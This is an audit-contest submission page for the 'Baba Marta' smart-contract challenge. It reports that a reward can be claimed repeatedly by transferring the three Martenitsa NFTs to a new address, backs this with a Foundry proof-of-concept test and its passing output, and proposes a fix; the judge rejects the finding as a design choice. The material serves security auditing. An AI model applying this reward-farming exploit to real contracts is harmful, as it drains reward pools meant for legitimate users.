First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

[H3] User could collect a reward twice by transferring his 3 Martenitsa tokens to another address

azanux

Summary

A user that has already bought 3 Martenitsa Tokens and collected a reward with collectReward(), could transfer his 3 Martenitsa tokens to another address and collect the reward again.

Vulnerability Details

User Bob, who has 3 Martenitsa Tokens, could collect a Health Token Reward and afterward transfer the 3 Martenitsa Tokens to another address, and collect this Health Token Reward again. He can perform this operation multiple times to collect Health Token Rewards.

POC

Add this code to the Contract and run the command:

forge test --mt testTwiceCollectReward
function testTwiceCollectReward() public eligibleForReward {
​
//Bob is eligible to collect a reward, so he collects 1 health Token
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(bob) == 10 ** 18);
​
//Bob uses another account and transfers his NFT token to the new address
address attacker = address(0xabc123);
vm.startPrank(bob);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(attacker, 0);
marketplace.makePresent(attacker, 1);
marketplace.makePresent(attacker, 2);
vm.stopPrank();
​
// Bob collects the reward again with his new address
vm.prank(attacker);
marketplace.collectReward();
​
//transfer health token to bob
vm.prank(attacker);
healthToken.transfer(bob, 1 ether);
​
//Bob collects 2 health Tokens instead of one
assert(healthToken.balanceOf(bob) == 2 * 10 ** 18);
}

we get the output

Ran 1 test for test/MartenitsaMarketplace.t.sol:MartenitsaMarketplace
[PASS] testTwiceCollectReward() (gas: 835812)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.78ms (775.42µs CPU time)
​
Ran 1 test suite in 151.06ms (8.78ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Users can get more Health Token Rewards than they deserve.

Tools Used

Manual Review

Recommendations

When a Martenitsa Token is used to collect a Reward, it should be added to a mapping and flagged as alreadyUsed = true to collect for this user. So the next time a user tries to collect a Reward again, the function collectReward should only count id with alreadyUsed = false

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice
Assigned finding tags:

Multiple addresses

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.